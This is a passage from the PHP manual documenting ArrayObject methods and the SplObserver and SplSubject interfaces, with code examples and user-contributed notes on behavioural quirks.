$test['my_value_1'] = $test['my_value_1'] + 1;
$test['my_value_1'] += 1;
$test['my_value_1'] ++;
++ $test['my_value_1'];

$test->my_value_2 = 1;
$test->my_value_2 = $test->my_value_2 + 1;
$test->my_value_2 += 1;
$test->my_value_2 ++;
++ $test->my_value_2;

print_r($test);

// Prints out:
MyArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [my_value_1_control] => 3
            [my_value_1] => 5
            [my_value_2_control] => 2
            [my_value_2] => 5
        )
)
?>
Dmitri Snytkine 15-Dec-2009 11:11
It seems that input array is always passed by reference.
For example if you have an existing array
$array with some values
then you have an arrayobject $o
and then you do this:
$o->exchangeArray($array);
$o->offsetSet('somekey', 'some value');

Now if you check your $array array, it will have
a key 'somekey' with value of 'some value'

I totally did not expect that, I am sure it was a mistake to pass array by reference by default.


Creates a copy of the ArrayObject.

  • « ArrayObject::exchangeArray
  • ArrayObject::getFlags »
  • PHP Manual
  • ArrayObject
  • Creates a copy of the ArrayObject.

ArrayObject::getArrayCopy

(PHP 5 >= 5.0.0)

ArrayObject::getArrayCopy — Creates a copy of the ArrayObject.

Description

public array ArrayObject::getArrayCopy ( void )

Exports the ArrayObject to an array.

Parameters

This function has no parameters.

Return Values

Returns a copy of the array. When the ArrayObject refers to an object an array of the public properties of that object will be returned.

Examples

Example #1 ArrayObject::getArrayCopy() example

<?php
// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);
$fruitsArrayObject['pears'] = 4;

// create a copy of the array
$copy = $fruitsArrayObject->getArrayCopy();
print_r($copy);

?>

The above example will output:

Array
(
    [lemons] => 1
    [oranges] => 4
    [bananas] => 5
    [apples] => 10
    [pears] => 4
)

User Contributed Notes

php at webflips dot net 24-May-2014 04:42
"When the ArrayObject refers to an object an array of the public properties of that object will be returned."

This description does not seem to be right:

<?php
class A
{
    public $var = 'var';
    protected $foo = 'foo';
    private $bar = 'bar';
}

$o = new ArrayObject(new A());
var_dump($o->getArrayCopy());

/*
Dumps:

array(3) {
  ["var"]=>
  string(3) "var"
  ["*foo"]=>
  string(3) "foo"
  ["Abar"]=>
  string(3) "bar"
}
*/
?>

So it does not only include the public properties.
Ivo von Putzer 05-Dec-2011 02:06
If you did something like this to make your constructor multidimensional capable you will have some trouble using getArrayCopy to get a plain array straight out of the method:
<?php
public function __construct( $array = array(), $flags = 2 )
{
    // let’s give the objects the right and not the inherited name
    $class = get_class($this);

    foreach($array as $offset => $value)
        $this->offsetSet($offset, is_array($value) ? new $class($value) : $value);

    $this->setFlags($flags);
}
?>

That’s the way I solved it:

<?php
public function getArray($recursion = false)
{
    // just in case the object might be multidimensional
    if ( $this === true)
        return $this->getArrayCopy();

    return array_map( function($item){
        return is_object($item) ? $item->getArray(true) : $item;
    }, $this->getArrayCopy() );
}
?>

Hope this was useful!


Gets the behavior flags.

  • « ArrayObject::getArrayCopy
  • ArrayObject::getIterator »
  • PHP Manual
  • ArrayObject
  • Gets the behavior flags.

ArrayObject::getFlags

(PHP 5 >= 5.1.0)

ArrayObject::getFlags — Gets the behavior flags.

Description

public int ArrayObject::getFlags ( void )

Gets the behavior flags of the ArrayObject. See the ArrayObject::setFlags method for a list of the available flags.

Parameters

This function has no parameters.

Return Values

Returns the behavior flags of the ArrayObject.

Examples

Example #1 ArrayObject::getFlags() example

<?php
// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Get the current flags
$flags = $fruitsArrayObject->getFlags();
var_dump($flags);

// Set new flags
$fruitsArrayObject->setFlags(ArrayObject::ARRAY_AS_PROPS);

// Get the new flags
$flags = $fruitsArrayObject->getFlags();
var_dump($flags);
?>

The above example will output:

int(0)
int(2)

See Also

  • The ArrayObject::setFlags method

User Contributed Notes

There are no user contributed notes for this page.


Create a new iterator from an ArrayObject instance

  • « ArrayObject::getFlags
  • ArrayObject::getIteratorClass »
  • PHP Manual
  • ArrayObject
  • Create a new iterator from an ArrayObject instance

ArrayObject::getIterator

(PHP 5 >= 5.0.0)

ArrayObject::getIterator — Create a new iterator from an ArrayObject instance

Description

public ArrayIterator ArrayObject::getIterator ( void )

Create a new iterator from an ArrayObject instance.

Parameters

This function has no parameters.

Return Values

An iterator from an ArrayObject.

Examples

Example #1 ArrayObject::getIterator() example

<?php
$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);

$iterator = $arrayobject->getIterator();

while($iterator->valid()) {
    echo $iterator->key() . ' => ' . $iterator->current() . "\n";

    $iterator->next();
}
?>

The above example will output:

1 => one
2 => two
3 => three

User Contributed Notes

doug at centraldesktop 08-Nov-2013 07:10
ArrayObject iterator class requires a child of ArrayObject or ArrayIterator

<?php

class MyIterator implements Iterator {

    public
    function __construct(ArrayObject $array, $flags = 0) {
        // ...
    }

    public
    function current() {
        // ..
    }

    public
    function next() {
        // ..
    }

    public
    function key() {
        // ..
    }

    public
    function valid() {
        // ..
    }

    public
    function rewind() {
        // ..
    }
}

$obj = new ArrayObject(array(), 0, 'MyIterator');
$obj->getIterator();

?>

PHP Fatal error: ArrayObject::getIterator(): Internal compiler error, Class is not child of ArrayObject or ArrayIterator in php shell code on line 1


Gets the iterator classname for the ArrayObject.

  • « ArrayObject::getIterator
  • ArrayObject::ksort »
  • PHP Manual
  • ArrayObject
  • Gets the iterator classname for the ArrayObject.

ArrayObject::getIteratorClass

(PHP 5 >= 5.1.0)

ArrayObject::getIteratorClass — Gets the iterator classname for the ArrayObject.

Description

public string ArrayObject::getIteratorClass ( void )

Gets the class name of the array iterator that is used by ArrayObject::getIterator().

Parameters

This function has no parameters.

Return Values

Returns the iterator class name that is used to iterate over this object.

Examples

Example #1 ArrayObject::getIteratorClass() example

<?php
// Custom ArrayIterator (inherits from ArrayIterator)
class MyArrayIterator extends ArrayIterator {
    // custom implementation
}

// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Get the current class name
$className = $fruitsArrayObject->getIteratorClass();
var_dump($className);

// Set new classname
$fruitsArrayObject->setIteratorClass('MyArrayIterator');

// Get the new iterator classname
$className = $fruitsArrayObject->getIteratorClass();
var_dump($className);
?>

The above example will output:

string(13) "ArrayIterator"
string(15) "MyArrayIterator"

See Also

  • The ArrayObject::setIteratorClass method

User Contributed Notes

There are no user contributed notes for this page.


Sort the entries by key

  • « ArrayObject::getIteratorClass
  • ArrayObject::natcasesort »
  • PHP Manual
  • ArrayObject
  • Sort the entries by key

ArrayObject::ksort

(PHP 5 >= 5.2.0)

ArrayObject::ksort — Sort the entries by key

Description

public void ArrayObject::ksort ( void )

Sorts the entries by key, maintaining key to entry correlations. This is useful mainly for associative arrays.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::ksort() example

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
$fruitArrayObject = new ArrayObject($fruits);
$fruitArrayObject->ksort();

foreach ($fruitArrayObject as $key => $val) {
    echo "$key = $val\n";
}
 ?>

The above example will output:

a = orange
b = banana
c = apple
d = lemon

See Also

  • ArrayObject::asort() - Sort the entries by value
  • ArrayObject::natsort() - Sort entries using a "natural order" algorithm
  • ArrayObject::natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::uasort() - Sort the entries with a user-defined comparison function and maintain key association
  • ArrayObject::uksort() - Sort the entries by keys using a user-defined comparison function

User Contributed Notes

There are no user contributed notes for this page.


Sort an array using a case insensitive "natural order" algorithm

  • « ArrayObject::ksort
  • ArrayObject::natsort »
  • PHP Manual
  • ArrayObject
  • Sort an array using a case insensitive "natural order" algorithm

ArrayObject::natcasesort

(PHP 5 >= 5.2.0)

ArrayObject::natcasesort — Sort an array using a case insensitive "natural order" algorithm

Description

public void ArrayObject::natcasesort ( void )

This method is a case insensitive version of ArrayObject::natsort.

This method implements a sort algorithm that orders alphanumeric strings in the way a human being would while maintaining key/value associations. This is described as a "natural ordering".

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::natcasesort() example

<?php
$array = array('IMG0.png', 'img12.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png');

$arr1 = new ArrayObject($array);
$arr2 = clone $arr1;

$arr1->asort();
echo "Standard sorting\n";
print_r($arr1);

$arr2->natcasesort();
echo "\nNatural order sorting (case-insensitive)\n";
print_r($arr2);
?>

The above example will output:

Standard sorting
ArrayObject Object
(
    [0] => IMG0.png
    [5] => IMG3.png
    [4] => img1.png
    [2] => img10.png
    [1] => img12.png
    [3] => img2.png
)

Natural order sorting (case-insensitive)
ArrayObject Object
(
    [0] => IMG0.png
    [4] => img1.png
    [3] => img2.png
    [5] => IMG3.png
    [2] => img10.png
    [1] => img12.png
)

For more information see: Martin Pool's » Natural Order String Comparison page.

See Also

  • ArrayObject::asort() - Sort the entries by value
  • ArrayObject::ksort() - Sort the entries by key
  • ArrayObject::natsort() - Sort entries using a "natural order" algorithm
  • ArrayObject::uasort() - Sort the entries with a user-defined comparison function and maintain key association
  • ArrayObject::uksort() - Sort the entries by keys using a user-defined comparison function

User Contributed Notes

There are no user contributed notes for this page.


Sort entries using a "natural order" algorithm

  • « ArrayObject::natcasesort
  • ArrayObject::offsetExists »
  • PHP Manual
  • ArrayObject
  • Sort entries using a "natural order" algorithm

ArrayObject::natsort

(PHP 5 >= 5.2.0)

ArrayObject::natsort — Sort entries using a "natural order" algorithm

Description

public void ArrayObject::natsort ( void )

This method implements a sort algorithm that orders alphanumeric strings in the way a human being would while maintaining key/value associations. This is described as a "natural ordering". An example of the difference between this algorithm and the regular computer string sorting algorithms (used in ArrayObject::asort) method can be seen in the example below.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::natsort() example

<?php
$array = array("img12.png", "img10.png", "img2.png", "img1.png");

$arr1 = new ArrayObject($array);
$arr2 = clone $arr1;

$arr1->asort();
echo "Standard sorting\n";
print_r($arr1);

$arr2->natsort();
echo "\nNatural order sorting\n";
print_r($arr2);
?>

The above example will output:

Standard sorting
ArrayObject Object
(
    [3] => img1.png
    [1] => img10.png
    [0] => img12.png
    [2] => img2.png
)

Natural order sorting
ArrayObject Object
(
    [3] => img1.png
    [2] => img2.png
    [1] => img10.png
    [0] => img12.png
)

For more information see: Martin Pool's » Natural Order String Comparison page.

See Also

  • ArrayObject::asort() - Sort the entries by value
  • ArrayObject::ksort() - Sort the entries by key
  • ArrayObject::natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::uasort() - Sort the entries with a user-defined comparison function and maintain key association
  • ArrayObject::uksort() - Sort the entries by keys using a user-defined comparison function

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the requested index exists

  • « ArrayObject::natsort
  • ArrayObject::offsetGet »
  • PHP Manual
  • ArrayObject
  • Returns whether the requested index exists

ArrayObject::offsetExists

(PHP 5 >= 5.0.0)

ArrayObject::offsetExists — Returns whether the requested index exists

Description

public bool ArrayObject::offsetExists ( mixed $index )

Parameters

index

The index being checked.

Return Values

TRUE if the requested index exists, otherwise FALSE

Examples

Example #1 ArrayObject::offsetExists() example

<?php
$arrayobj = new ArrayObject(array('zero', 'one', 'example'=>'e.g.'));
var_dump($arrayobj->offsetExists(1));
var_dump($arrayobj->offsetExists('example'));
var_dump($arrayobj->offsetExists('notfound'));
?>

The above example will output:

bool(true)
bool(true)
bool(false)

User Contributed Notes

goran at extensionsforjoomla dot com 09-Jul-2007 12:52
In versions prior to PHP 5.2.2 offsetExists() would return false if index value is null.
<?php
// running PHP 5.2.1
$params = new ArrayObject(array('INT'=>null, 'STR'=> null, 'BOOL'=>null, 'LOB'=>null));
$test = $params->offsetExists('INT');
var_dump($test);
// result would be bool(false)
// running PHP 5.2.2
$params = new ArrayObject(array('INT'=>null, 'STR'=> null, 'BOOL'=>null, 'LOB'=>null));
$test = $params->offsetExists('INT');
var_dump($test);
// result would be bool(true)
?>
Both tests where made on Windows platform.


Returns the value at the specified index

  • « ArrayObject::offsetExists
  • ArrayObject::offsetSet »
  • PHP Manual
  • ArrayObject
  • Returns the value at the specified index

ArrayObject::offsetGet

(PHP 5 >= 5.0.0)

ArrayObject::offsetGet — Returns the value at the specified index

Description

public mixed ArrayObject::offsetGet ( mixed $index )

Parameters

index

The index with the value.

Return Values

The value at the specified index or NULL.

Errors/Exceptions

Produces an E_NOTICE error message when the specified index does not exist.

Examples

Example #1 ArrayObject::offsetGet() example

<?php
$arrayobj = new ArrayObject(array('zero', 7, 'example'=>'e.g.'));
var_dump($arrayobj->offsetGet(1));
var_dump($arrayobj->offsetGet('example'));
var_dump($arrayobj->offsetExists('notfound'));
?>

The above example will output:

int(7)
string(4) "e.g."
bool(false)

User Contributed Notes

Alex Andrienko 20-Jan-2009 12:58
Speaking of offsetGet() method overloading, be advised, that if you're iterating through Object via foreach, this method wouldn't be called. Iterator's current() method will be called instead.
Sam 30-Nov-2007 12:01
If you're overloading ArrayObject, it's worth noting that while this method (when implemented by the parent) will return a reference, so code like $fakeArray['foobar']['hello'] = 1; will work like you expect.

However, when you overload the offsetGet method, you CANNOT define it as &offsetGet, so the above code falls out (because it returns the 'foobar' variable before you actually work with it).

This is something that the developers broke between 5.0 and 5.1, and was closed as bogus (http://bugs.php.net/bug.php?id=34783). So this is not a big, or question, or request, but just something worth noting.


Sets the value at the specified index to newval

  • « ArrayObject::offsetGet
  • ArrayObject::offsetUnset »
  • PHP Manual
  • ArrayObject
  • Sets the value at the specified index to newval

ArrayObject::offsetSet

(PHP 5 >= 5.0.0)

ArrayObject::offsetSet — Sets the value at the specified index to newval

Description

public void ArrayObject::offsetSet ( mixed $index , mixed $newval )

Sets the value at the specified index to newval.

Parameters

index

The index being set.

newval

The new value for the index.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::offsetSet() example

<?php
class Example {
    public $property = 'prop:public';
}
$arrayobj = new ArrayObject(new Example());
$arrayobj->offsetSet(4, 'four');
$arrayobj->offsetSet('group', array('g1', 'g2'));
var_dump($arrayobj);

$arrayobj = new ArrayObject(array('zero','one'));
$arrayobj->offsetSet(null, 'last');
var_dump($arrayobj);
?>

The above example will output:

object(ArrayObject)#1 (3) {
  ["property"]=>
  string(11) "prop:public"
  [4]=>
  string(4) "four"
  ["group"]=>
  array(2) {
    [0]=>
    string(2) "g1"
    [1]=>
    string(2) "g2"
  }
}
object(ArrayObject)#3 (3) {
  [0]=>
  string(4) "zero"
  [1]=>
  string(3) "one"
  [2]=>
  string(4) "last"
}

See Also

  • ArrayObject::append() - Appends the value

User Contributed Notes

jerikojerk 23-Aug-2011 12:58
On my php 5.3.5 installation, i discovered that value can be set by reference and not by copy ... depending the context..

so this is différent from what a regular array()

<?php

function set(&$x, &$a )
{
    $x[] = $a;
}

$x = new ArrayObject();
$y = array();
$z = new ArrayObject();

$a =  array( 'foo' );
set($y,$a);
set($x,$a);
$z[]=$a;

$a = array( 'bar');

set($x,$a);
set($y,$a);
$z[]=$a;

print_r($x);
print_r($y);
print_r($z);
?>

// output
ArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [0] => Array
                (
                    [0] => bar
                )

            [1] => Array
                (
                    [0] => bar
                )

        )

)
Array
(
    [0] => Array
        (
            [0] => foo
        )

    [1] => Array
        (
            [0] => bar
        )

)
ArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [0] => Array
                (
                    [0] => bar
                )

            [1] => Array
                (
                    [0] => bar
                )

        )

)
n dot lenepveu at gmail dot com 30-Sep-2008 09:20
If $index is null, $newval is naturally pushed onto the end of the array as ArrayObject::append


Unsets the value at the specified index

  • « ArrayObject::offsetSet
  • ArrayObject::serialize »
  • PHP Manual
  • ArrayObject
  • Unsets the value at the specified index

ArrayObject::offsetUnset

(PHP 5 >= 5.0.0)

ArrayObject::offsetUnset — Unsets the value at the specified index

Description

public void ArrayObject::offsetUnset ( mixed $index )

Unsets the value at the specified index.

Parameters

index

The index being unset.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::offsetUnset() example

<?php
$arrayobj = new ArrayObject(array(0=>'zero',2=>'two'));
$arrayobj->offsetUnset(2);
var_dump($arrayobj);
?>

The above example will output:

object(ArrayObject)#1 (1) {
  [0]=>
  string(4) "zero"
}

User Contributed Notes

pvenakis at efront dot gr 10-Jan-2008 09:57
When traversing recursively nested arrays using an RecursiveIteratorIterator, you cannot offsetUnset() or offsetSet() sub-array values, unless they are *all* declared as ArrayObject.
oalexandrino at yahoo dot com dot br 28-May-2007 08:11
Be careful when you are working with collections. This method works with the reference of an array instead of its retrieved value.

So, you can do a mistake.

In order to understand have a look at code as follow:

<?php
class Employee
{
    public function __construct()
    {
    }
}

class Company
{
    private $arrEmployee;

    public function __construct()
    {
    }

    public function AddEmployee(Employee $oEmployee)
    {
        $this->arrEmployee[] = $oEmployee;

    }

    public function getEmployeeList()
    {
        return $this->arrEmployee;

    }

}
?>

<?php

// first, creates the Company object
$oCompany = new Company();

// second, add 10 elements in
foreach( range(0, 9) as $index )
{
    $oCompany->AddEmployee( new Employee() );
}

// get them
$arrEmployee = $oCompany->getEmployeeList();

// creates an ArrayObject from "$arrEmployee"
$arrayobject = new ArrayObject($arrEmployee);

// unsets its firt five elements
foreach( range(0, 4) as $index )
{
    $arrayobject->offsetUnset($index);
}

// get them again
$arrEmployee = $oCompany->getEmployeeList();

// it shows just 5 elements, they were removed as reference via "offsetUnset" method
print_r($arrEmployee) ;

?>


Serialize an ArrayObject

  • « ArrayObject::offsetUnset
  • ArrayObject::setFlags »
  • PHP Manual
  • ArrayObject
  • Serialize an ArrayObject

ArrayObject::serialize

(PHP 5 >= 5.3.0)

ArrayObject::serialize — Serialize an ArrayObject

Description

public string ArrayObject::serialize ( void )

Serializes an ArrayObject.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The serialized representation of the ArrayObject.

Examples

Example #1 ArrayObject::serialize() example

<?php
$o = new ArrayObject();

$s1 = serialize($o);
$s2 = $o->serialize();

var_dump($s1);
var_dump($s2);
?>

The above example will output:

string(45) "C:11:"ArrayObject":21:{x:i:0;a:0:{};m:a:0:{}}"
string(21) "x:i:0;a:0:{};m:a:0:{}"

See Also

  • ArrayObject::unserialize() - Unserialize an ArrayObject
  • serialize() - Generates a storable representation of a value
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Sets the behavior flags.

  • « ArrayObject::serialize
  • ArrayObject::setIteratorClass »
  • PHP Manual
  • ArrayObject
  • Sets the behavior flags.

ArrayObject::setFlags

(PHP 5 >= 5.1.0)

ArrayObject::setFlags — Sets the behavior flags.

Description

public void ArrayObject::setFlags ( int $flags )

Set the flags that change the behavior of the ArrayObject.

Parameters

flags

The new ArrayObject behavior. It takes on either a bitmask, or named constants. Using named constants is strongly encouraged to ensure compatibility for future versions.

The available behavior flags are listed below. The actual meanings of these flags are described in the predefined constants.

ArrayObject behavior flags
value | constant
1 | ArrayObject::STD_PROP_LIST
2 | ArrayObject::ARRAY_AS_PROPS

Return Values

No value is returned.

Examples

Example #1 ArrayObject::setFlags() example

<?php
// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Try to use array key as property
var_dump($fruitsArrayObject->lemons);
// Set the flag so that the array keys can be used as properties of the ArrayObject
$fruitsArrayObject->setFlags(ArrayObject::ARRAY_AS_PROPS);
// Try it again
var_dump($fruitsArrayObject->lemons);
?>

The above example will output:

NULL
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Sets the iterator classname for the ArrayObject.

  • « ArrayObject::setFlags
  • ArrayObject::uasort »
  • PHP Manual
  • ArrayObject
  • Sets the iterator classname for the ArrayObject.

ArrayObject::setIteratorClass

(PHP 5 >= 5.1.0)

ArrayObject::setIteratorClass — Sets the iterator classname for the ArrayObject.

Description

public void ArrayObject::setIteratorClass ( string $iterator_class )

Sets the classname of the array iterator that is used by ArrayObject::getIterator().

Parameters

iterator_class

The classname of the array iterator to use when iterating over this object.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::setIteratorClass() example

<?php
// Custom ArrayIterator (inherits from ArrayIterator)
class MyArrayIterator extends ArrayIterator {
    // custom implementation
}

// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Set the iterator classname to the newly
$fruitsArrayObject->setIteratorClass('MyArrayIterator');
print_r($fruitsArrayObject->getIterator());

?>

The above example will output:

MyArrayIterator Object
(
    [lemons] => 1
    [oranges] => 4
    [bananas] => 5
    [apples] => 10
)

User Contributed Notes

There are no user contributed notes for this page.


Sort the entries with a user-defined comparison function and maintain key association

  • « ArrayObject::setIteratorClass
  • ArrayObject::uksort »
  • PHP Manual
  • ArrayObject
  • Sort the entries with a user-defined comparison function and maintain key association

ArrayObject::uasort

(PHP 5 >= 5.2.0)

ArrayObject::uasort — Sort the entries with a user-defined comparison function and maintain key association

Description

public void ArrayObject::uasort ( callable $cmp_function )

This function sorts the entries such that keys maintain their correlation with the entry that they are associated with, using a user-defined comparison function.

This is used mainly when sorting associative arrays where the actual element order is significant.

Parameters

cmp_function

Function cmp_function should accept two parameters which will be filled by pairs of entries. The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::uasort() example

<?php
// Comparison function
function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
$arrayObject = new ArrayObject($array);
print_r($arrayObject);

// Sort and print the resulting array
$arrayObject->uasort('cmp');
print_r($arrayObject);
?>

The above example will output:

Array
(
    [a] => 4
    [b] => 8
    [c] => -1
    [d] => -9
    [e] => 2
    [f] => 5
    [g] => 3
    [h] => -4
)
Array
(
    [d] => -9
    [h] => -4
    [c] => -1
    [e] => 2
    [g] => 3
    [a] => 4
    [f] => 5
    [b] => 8
)

See Also

  • ArrayObject::asort() - Sort the entries by value
  • ArrayObject::ksort() - Sort the entries by key
  • ArrayObject::natsort() - Sort entries using a "natural order" algorithm
  • ArrayObject::natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::uksort() - Sort the entries by keys using a user-defined comparison function

User Contributed Notes

poxetinho at gmail dot com 01-Sep-2011 09:38
Note that return values between (-1, 1) are being considered as 0.


Sort the entries by keys using a user-defined comparison function

  • « ArrayObject::uasort
  • ArrayObject::unserialize »
  • PHP Manual
  • ArrayObject
  • Sort the entries by keys using a user-defined comparison function

ArrayObject::uksort

(PHP 5 >= 5.2.0)

ArrayObject::uksort — Sort the entries by keys using a user-defined comparison function

Description

public void ArrayObject::uksort ( callable $cmp_function )

This function sorts the keys of the entries using a user-supplied comparison function. The key to entry correlations will be maintained.

Parameters

cmp_function

The callback comparison function.

Function cmp_function should accept two parameters which will be filled by pairs of entry keys. The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::uksort() example

<?php
function cmp($a, $b) {
    $a = preg_replace('@^(a|an|the) @', '', $a);
    $b = preg_replace('@^(a|an|the) @', '', $b);
    return strcasecmp($a, $b);
}

$array = array("John" => 1, "the Earth" => 2, "an apple" => 3, "a banana" => 4);
$arrayObject = new ArrayObject($array);
$arrayObject->uksort('cmp');

foreach ($arrayObject as $key => $value) {
    echo "$key: $value\n";
}
?>

The above example will output:

an apple: 3
a banana: 4
the Earth: 2
John: 1

See Also

  • ArrayObject::asort() - Sort the entries by value
  • ArrayObject::ksort() - Sort the entries by key
  • ArrayObject::natsort() - Sort entries using a "natural order" algorithm
  • ArrayObject::natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::uasort() - Sort the entries with a user-defined comparison function and maintain key association

User Contributed Notes

There are no user contributed notes for this page.


Unserialize an ArrayObject

  • « ArrayObject::uksort
  • SplObserver »
  • PHP Manual
  • ArrayObject
  • Unserialize an ArrayObject

ArrayObject::unserialize

(PHP 5 >= 5.3.0)

ArrayObject::unserialize — Unserialize an ArrayObject

Description

public void ArrayObject::unserialize ( string $serialized )

Unserializes a serialized ArrayObject.

Warning

This function is currently not documented; only its argument list is available.

Parameters

serialized

The serialized ArrayObject.

Return Values

The unserialized ArrayObject.

See Also

  • ArrayIterator::serialize() - Serialize
  • unserialize() - Creates a PHP value from a stored representation
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The SplObserver interface

(PHP 5 >= 5.1.0)

Introduction

The SplObserver interface is used alongside SplSubject to implement the Observer Design Pattern.

Interface synopsis

SplObserver {
/* Methods */
abstract public void update ( SplSubject $subject )
}

Table of Contents

  • SplObserver::update — Receive update from subject

User Contributed Notes

sebastien dot ferrandez at free dot fr 12-Mar-2014 06:36
Beware, you have written :

        if($key){
            unset($this->observers[$key]);
        }

When this should be :

        if(false !== $key){
            unset($this->observers[$key]);
        }

If the observer you want to delete is the first in your array, you will never delete it because the key would equal 0 and 0 == false as you know.
aiddroid at example dot com 02-Jul-2013 04:41
<?php

/**
 * Subject,that who makes news
 */
class Newspaper implements \SplSubject{
    private $name;
    private $observers = array();
    private $content;

    public function __construct($name) {
        $this->name = $name;
    }

    //add observer
    public function attach(\SplObserver $observer) {
        $this->observers[] = $observer;
    }

    //remove observer
    public function detach(\SplObserver $observer) {

        $key = array_search($observer,$this->observers, true);
        if($key){
            unset($this->observers[$key]);
        }
    }

    //set breakouts news
    public function breakOutNews($content) {
        $this->content = $content;
        $this->notify();
    }

    public function getContent() {
        return $this->content." ({$this->name})";
    }

    //notify observers(or some of them)
    public function notify() {
        foreach ($this->observers as $value) {
            $value->update($this);
        }
    }
}

/**
 * Observer,that who recieves news
 */
class Reader implements SplObserver{
    private $name;

    public function __construct($name) {
        $this->name = $name;
    }

    public function update(\SplSubject $subject) {
        echo $this->name.' is reading breakout news <b>'.$subject->getContent().'</b><br>';
    }
}

$newspaper = new Newspaper('Newyork Times');

$allen = new Reader('Allen');
$jim = new Reader('Jim');
$linda = new Reader('Linda');

//add reader
$newspaper->attach($allen);
$newspaper->attach($jim);
$newspaper->attach($linda);

//remove reader
$newspaper->detach($linda);

//set break outs
$newspaper->breakOutNews('USA break down!');

//=====output======
//Allen is reading breakout news USA break down! (Newyork Times)
//Jim is reading breakout news USA break down! (Newyork Times)


Receive update from subject

  • « SplObserver
  • SplSubject »
  • PHP Manual
  • SplObserver
  • Receive update from subject

SplObserver::update

(PHP 5 >= 5.1.0)

SplObserver::update — Receive update from subject

Description

abstract public void SplObserver::update ( SplSubject $subject )

This method is called when any SplSubject to which the observer is attached calls SplSubject::notify().

Warning

This function is currently not documented; only its argument list is available.

Parameters

subject

The SplSubject notifying the observer of an update.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The SplSubject interface

(PHP 5 >= 5.1.0)

Introduction

The SplSubject interface is used alongside SplObserver to implement the Observer Design Pattern.

Interface synopsis

SplSubject {
/* Methods */
abstract public void attach ( SplObserver $observer )
abstract public void detach ( SplObserver $observer )
abstract public void notify ( void )
}

Table of Contents

  • SplSubject::attach — Attach an SplObserver
  • SplSubject::detach — Detach an observer
  • SplSubject::notify — Notify an observer

User Contributed Notes

aiddroid at example dot com 02-Jul-2013 04:01
/**
 * Subject,that who makes news
 */
class Newspaper implements \SplSubject{
    private $name;
    private $observers = array();
    private $content;

    public function __construct($name) {
        $this->name = $name;
    }

    //add observer
    public function attach(\SplObserver $observer) {
        $this->observers[] = $observer;
    }

    //remove observer
    public function detach(\SplObserver $observer) {

        $key = array_search($observer,$this->observers, true);
        if($key){
            unset($this->observers[$key]);
        }
    }

    //set breakouts news
    public function breakOutNews($content) {
        $this->content = $content;
        $this->notify();
    }

    public function getContent() {
        return $this->content." (by {$this->name})";
    }

    //notify observers(or some of them)
    public function notify() {
        foreach ($this->observers as $value) {
            $value->update($this);
        }
    }
}

/**
 * Observer,that who recieves news
 */
class Reader implements SplObserver{
    private $name;

    public function __construct($name) {
        $this->name = $name;
    }

    public function update(\SplSubject $subject) {
        echo $this->name.' is reading breakout news <b>'.$subject->getContent().'</b><br>';
    }
}

//classes test
$newspaper = new Newspaper('Newyork Times');

$allen = new Reader('Allen');
$jim = new Reader('Jim');
$linda = new Reader('Linda');

//add reader
$newspaper->attach($allen);
$newspaper->attach($jim);
$newspaper->attach($linda);

//remove reader
$newspaper->detach($linda);

//set break outs
$newspaper->breakOutNews('USA break down!');

//=========output==========
//Allen is reading breakout news USA break down! (by Newyork Times)
//Jim is reading breakout news USA break down! (by Newyork Times)
Anonymous 07-May-2013 07:37
<?php
class Observable implements SplSubject
{
    private $storage;

    function __construct()
    {
        $this->storage = new SplObjectStorage();
    }

    function attach(SplObserver $observer)
    {
        $this->storage->attach($observer);
    }

    function detach(SplObserver $observer)
    {
        $this->storage->detach($observer);
    }

    function notify()
    {
        foreach ($this->storage as $obj) {
            $obj->update($this);
        }
    }
    //...
}

abstract class Observer implements SplObserver
{
    private $observable;

    function __construct(Observable $observable)
    {
        $this->observable = $observable;
        $observable->attach($this);
    }

    function update(SplSubject $subject)
    {
        if ($subject === $this->observable) {
            $this->doUpdate($subject);
        }
    }

    abstract function doUpdate(Observable $observable);
}

class ConcreteObserver extends Observer
{
    function doUpdate(Observable $observable)
    {
        //...
    }
}

$observable = new Observable();
